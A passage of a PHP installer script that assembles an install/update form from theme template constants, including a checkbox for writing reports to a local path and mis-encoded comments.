586 str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_fs', '', 'Enable write reports to local path.'), $pd_reports_to_fs ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
587 THEME_DIALOG_ROW_END.
588 THEME_DIALOG_GROUP_END.
589 THEME_DIALOG_ROW_END.
590 THEME_DIALOG_GROUP_END.
591 THEME_DIALOG_ROW_END;
592}
593
594//äþрüð.
595$_OUTPUT .=
596str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('idata', basename($_SERVER['PHP_SELF']), ''), THEME_FORMPOST_BEGIN).
597str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
598 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, APP_TITLE), THEME_DIALOG_TITLE).
599 THEME_DIALOG_ROW_BEGIN.
600 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
601 THEME_DIALOG_ROW_BEGIN.
602 str_replace('{TEXT}', $help, THEME_DIALOG_ITEM_WRAPTEXT).
603 THEME_DIALOG_ROW_END.
604 THEME_DIALOG_GROUP_END.
605 THEME_DIALOG_ROW_END.
606 $_FORMITEMS.
607 str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
608 str_replace(array('{TEXT}', '{JS_EVENTS}'), array(($is_update ? '-- Update --' : '-- Install --'), ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
609 THEME_DIALOG_ACTIONLIST_END.
610THEME_DIALOG_END.
611THEME_FORMPOST_END;
612
613//Òыòþô.
614themeSmall(APP_TITLE, $_OUTPUT, 0, 0, 0);
615?>